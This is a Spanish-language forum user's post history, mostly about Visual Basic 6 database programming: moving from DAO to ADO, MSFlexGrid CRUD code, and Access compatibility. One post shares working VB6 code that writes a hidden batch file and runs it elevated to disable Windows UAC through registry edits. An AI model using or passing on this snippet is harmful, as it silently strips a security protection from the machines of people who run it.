Mensajes

[Depende lo que quieras borrar amigo, un registro de una bd, una dll, un ocx, un dato del registro de windows o no se pero a partir de que comentes que queres borrar seguro te van a poder ayudar.]

Depende lo que quieras borrar amigo, un registro de una bd, una dll, un ocx, un dato del registro de windows o no se pero a partir de que comentes que queres borrar seguro te van a poder ayudar.

[Chas gracias es un buen gesto el tuyo lo unico malo es que no puedo entrar al link me da como que esta muerto probe con varios navegadores...tengo la conexion de internet via usb Personal...tendra algo que ver ? nos hablamos, saludos]

Chas gracias es un buen gesto el tuyo    lo unico malo es que no puedo entrar al link me da como que esta muerto   probe con varios navegadores...tengo la conexion de internet via usb Personal...tendra algo que ver ? nos hablamos, saludos


Me registre en tu pagina y pude descargar...mmmmmmmmmmm esta bien...esta buena la idea no me gusta mucho el diseño pero lo que importa es el contenido saludos.

Mire el codigo pero no me ayudo mucho mi problema es para ir actualizando los datos con el MSFlexgrid y los controles en ADO....ya veremos

[Bueno desde ya muchas gracias si alguno me tira una idea y saludos gente!]

Buenas de vuelta al pedido de vuestra ayuda... Como bien me aconsejo Sebas me pase a ADO y estoy en eso...ahora bien, pude crear la conexion, el recordset...pero tengo problemas con las altas y bajas de los registros:

Cuando agrego un registro, me lo pasa al flexgrid, ordenado y bien. Cuando lo selecciono de la grilla y lo paso a los txt y combos para darle a "modificar" que lo unico que hace es poner su propiedad locked en false, modifico sobre estos controles, pero al darle aceptar nuevamente solo me muestra en la grilla el registro modificado...si salgo e ingreso nuevamente ahora si, estan todos los datos alli...

Cuando borro un registro me saca de la grilla TODOS los datos. Si salgo y entro, estan de nuevo, salvo el que borre, claro. Ahora si cuando  le doy al boton borrar y despues en el msgbox le doy a cancelar...se desordenan los registros en el flexgrid....

Bueno, el codigo lo tengo de la siguiente manera:

Código [Seleccionar] Expandir

Private Sub CmdBorrar_Click()
                                   'BOTON BORRAR

If fila <> 0 Then
A = MsgBox("Borrar el dato?", "49", "Sistema")
If A = 1 Then
rs1.Delete
MSFlexGrid1.Clear
MSFlexGrid1.TextMatrix(0, 0) = "Tipo"
MSFlexGrid1.TextMatrix(0, 1) = "Tema1"
MSFlexGrid1.TextMatrix(0, 2) = "Tema2"
MSFlexGrid1.TextMatrix(0, 3) = "Tema3 "
MSFlexGrid1.TextMatrix(0, 4) = " Tema4 "
MSFlexGrid1.TextMatrix(0, 5) = "Tema5"
MSFlexGrid1.TextMatrix(0, 6) = "Tema6"
End If

f = 0

If rs1.EOF = False Then rs1.MoveFirst
While rs1.EOF = False
f = f + 1
MSFlexGrid1.TextMatrix(f, 0) = rs1("Tipo")
MSFlexGrid1.TextMatrix(f, 1) = rs1("Tema1")
MSFlexGrid1.TextMatrix(f, 2) = rs1("Tema2")
MSFlexGrid1.TextMatrix(f, 3) = rs1("Tema3")
MSFlexGrid1.TextMatrix(f, 4) = rs1("Tema4")
MSFlexGrid1.TextMatrix(f, 5) = rs1("Tema5")
MSFlexGrid1.TextMatrix(f, 6) = rs1("Tema6")
rs1.MoveNext
Wend
End If

' BLANQUEO DE CONTROLES
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Combo1 = ""
Combo2 = ""
Combo3 = ""
End Sub


'-------------------------------------------------------------------'

Código [Seleccionar] Expandir

Private Sub CmdAceptar_Click()
                                                     '* BOTON ACEPTAR *'
If señal = 1 Then
     If rs1.EOF = False Then
     MsgBox "Error", vbCritical, "Campos en blanco, nulo o repetido"
     GoTo 100
     Else
     rs1.AddNew
     End If
     End If

rs1("Tipo") = Combo1
rs1("Tema1") = Text1
rs1("Tema2") = Combo2
rs1("Tema3") = Combo3
rs1("Tema4") = Text2
rs1("Tema5") = Text3
rs1("Tema6") = Text4
rs1.Update


Rem blanqueo de grilla
   MSFlexGrid1.Clear
   MSFlexGrid1.TextMatrix(0, 0) = "Tipo"
   MSFlexGrid1.TextMatrix(0, 1) = "Tema1"
   MSFlexGrid1.TextMatrix(0, 2) = "Tema2"
   MSFlexGrid1.TextMatrix(0, 3) = " Tema3"
   MSFlexGrid1.TextMatrix(0, 4) = "Tema4"
   MSFlexGrid1.TextMatrix(0, 5) = "Tema5 "
   MSFlexGrid1.TextMatrix(0, 6) = "Tema6"

   f = 0
     
   If rs1.EOF = False Then rs1.MoveFirst
   While rs1.EOF = False
   f = f + 1
   MSFlexGrid1.TextMatrix(f, 0) = rs1("Tipo")
   MSFlexGrid1.TextMatrix(f, 1) = rs1("Tema1")
   MSFlexGrid1.TextMatrix(f, 2) = rs1("Tema2")
   MSFlexGrid1.TextMatrix(f, 3) = rs1("Tema3")
   MSFlexGrid1.TextMatrix(f, 4) = rs1("Tema4")
   MSFlexGrid1.TextMatrix(f, 5) = rs1("Tema5")
   MSFlexGrid1.TextMatrix(f, 6) = rs1("Tema6")
   rs1.MoveNext
   Wend
100
Rem blanquear todos los controles y botones
Combo1 = ""
Combo2 = ""
Combo3 = ""
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
End Sub

Bueno desde ya muchas gracias si alguno me tira una idea y saludos gente!  

[Podrias explicar el code ? gracias.]

Podrias explicar el code ? gracias.

a ver si les sirve esto...

Código (vb) [Seleccionar] Expandir






Option Explicit

Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long

Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long

Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2

Const FILE_ATTRIBUTE_NORMAL = &H80

Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long

Private Type SHELLEXECUTEINFOA
   cbSize                  As Long
   fMask                   As Long
   hwnd                    As Long
   lpVerb                  As String
   lpFile                  As String
   lpParameters            As String
   lpDirectory             As String
   nShow                   As Long
   hInstApp                As Long
   lpIDList                As Long
   lpClass                 As String
   hkeyClass               As Long
   dwHotKey                As Long
   hIcon                   As Long
   hProcess                As Long
End Type

Const SW_NORMAL = 1
Const SW_HIDE = 0

Private Sub Form_Load()
On Error Resume Next
   Dim strPath     As String
   Dim strBatCode  As String

   strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
                "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"


   Write2File Environ$("TEMP") & "\temp.bat", strBatCode
   strPath = Environ$("TEMP") & "\temp.bat"


   If Elevate(strPath) Then
       MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
       strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
   Else
       MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
       strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
   End If

   End

End Sub
Private Function Elevate(strPath As String) As Boolean


   Dim ExInfo      As SHELLEXECUTEINFOA
   Dim lnRet       As Long

   With ExInfo
       .cbSize = Len(ExInfo)
       .fMask = 0&
       .hwnd = hwnd
       .lpVerb = "runas"
       .lpFile = strPath
       .lpParameters = vbNullChar
       .lpDirectory = vbNullChar
       .nShow = SW_HIDE
   End With

   On Error Resume Next

   lnRet = ShellExecuteEx(ExInfo)

   If lnRet <> 1 Then
       Elevate = False
       Exit Function
   End If

   Elevate = True

End Function
Private Sub Write2File(Filename As String, Buffer As String)
   On Error Resume Next
   Dim hFile       As Long
   Dim hWrite      As Long

   hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
   If hFile <> 0 Then
       hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
   End If
   CloseHandle (hFile)
End Sub




Es un code que encontrer en un foro

Ta claro...me baje un par de manualetes sobre ADO...ya fue este fuckin DAO !  tema cerrado ? si, tema cerrado.

Esto esta en el manual "VB Teoria ADO" (Ing J. Paredes - descargado de la webdelprogramador)

"Antes de proseguir con estos objetos vamos a explicar donde y porqué se deben utilizar objetos ADO en vez de objetos DAO u objetos RDO

Hasta ahora habíamos utilizado bases de datos Access, y también otras bases de datos sencillas como dBase. Acceder a Access es extremadamente fácil. Y ello es debido a que Access es una base de datos sin grandes aspiraciones en cuanto a seguridad. Es una gran base de datos, y tiene sus dispositivos de seguridad en cuanto a permisos de acceso (Vea El dbEngine. Visión desde DAO y la propiedad SystemDB en el Capítulo 12) sin embargo estas posibilidades se usan en muy pocas ocasiones, y estos mecanismos de seguridad de Access tampoco son una maravilla. Por lo tanto Access se ha quedado como una gran base de datos para aplicaciones que no pasen de algunos centenares de miles de registros y con pocos puestos de operación. En esta base de datos, el método ideal de acceso es DAO, bien directamente o a través de ODBC Direct"

Ustedes que piensan ? Por el momento yo no use mucho ado, casi nada... y con dao y accss 97 safamos...que onda ?

[Proyecto-Referencias]

me parece tu maestro no se entero que eso depende de la versión de DAO que estes usando...fijate que cuando vas a Proyecto-Referencias y ahi esta la libreria de DAO llamada Microsoft Data Access Objects tenes las versiones 2.5/3.5 la 3.51 y la ultima es la 3.6 y si estas usando esa podes conectarte a access 2003, y con ADO te podes conectar a la que quieras.

pero igual aca el tema principal no es si uno abre una versión y no habre la otra, aca el tema es que la diferencia entre DAO y ADO son muchas y es mejor usar este ultimo sin dudarlo.

Okey entonces sigo buscando un buen material para migrar a ADO, el tema es que es para presentar el trabajo y tengo que pasarlo esta noche...no es nada del otro mundo es un ABM con un MSFlexgrid que tiene que hacer el evento click para devolver su contenido a los txtbx y toda esa historia...todavia no encuentro mas material del que tengo..veremos que pasa..grax carajo ! jaja (es una palabra que tengo re involucrada en mi lenguaje pero es con onda "carajo" no con mala leche asi que no se enojen che...carajo...jajaja)

[El error que tira VB cuando queres conectar mediante codigo y DAO a una BD access 2003 o superior....es por que justamente usas DAO??? si conectas con ADO podes trabajar sin problemas con accs 2003 o 2007?? por que el profesor del instituto nos dijo que "siempre" va tirar error mientras no se trabaje con accs 97 !!]

El error que tira VB cuando queres conectar mediante codigo y DAO a una BD access 2003 o superior....es por que justamente usas DAO??? si conectas con ADO podes trabajar sin problemas con accs 2003 o 2007?? por que el profesor del instituto nos dijo que "siempre" va tirar error mientras no se trabaje con accs 97 !!   

[Tengo XP SP2...el codigo lo modifique tenia un maskedbox re colgado capaz era eso despues cdo vuelva a compilar y empaquetar vere que onda...El error de VB6 me sale despues de haberle puesto unos parches... En el Instituto onda que nos "garcaron" por que estamos terminando el año y solo vimos DAO, tengo manual de Ado...vamos a ver como empiezo a pasar tooooda la aplicacion a ADO...es hacer todo de nuevo por que tengo en DAO, BD en access 97 y sin tener ese viejo paquete de officce 97 sino que armo en access 2003 y transformo a 97 tratando de que no surgan errores por que sino tengo que empezar de nuevo todo.. Hasta ahora no pude hacer trabajar un access 2003 o 2007 con VB6...una pena.EL año que viene estoy por hacer un curso de .Net del Instituto CBTech...Saludos, tengo que seguir peleando con el datareport que no quiere hacer nada conmigo me parece jajaja. Grax.]

Tengo XP SP2...el codigo lo modifique tenia un maskedbox re colgado capaz era eso despues cdo vuelva a compilar y empaquetar vere que onda...

El error de VB6 me sale despues de haberle puesto unos parches... 

En el Instituto onda que nos "garcaron" por que estamos terminando el año y solo vimos DAO, tengo manual de Ado...vamos a ver como empiezo a pasar tooooda la aplicacion a ADO...es hacer todo de nuevo por que tengo en DAO, BD en access 97 y sin tener ese viejo paquete de officce 97 sino que armo en access 2003 y transformo a 97 tratando de que no surgan errores por que sino tengo que empezar de nuevo todo..
Hasta ahora no pude hacer trabajar un access 2003 o 2007 con VB6...una pena.

EL año que viene estoy por hacer un curso de .Net del Instituto CBTech...

Saludos, tengo que seguir peleando con el datareport que no quiere hacer nada conmigo me parece jajaja. Grax.

[Novluker]

CHAS GRACIAS Novluker !!!!!!!!



P/D: Esta opcion no la tengo en mis opciones de cuenta, por que sera ?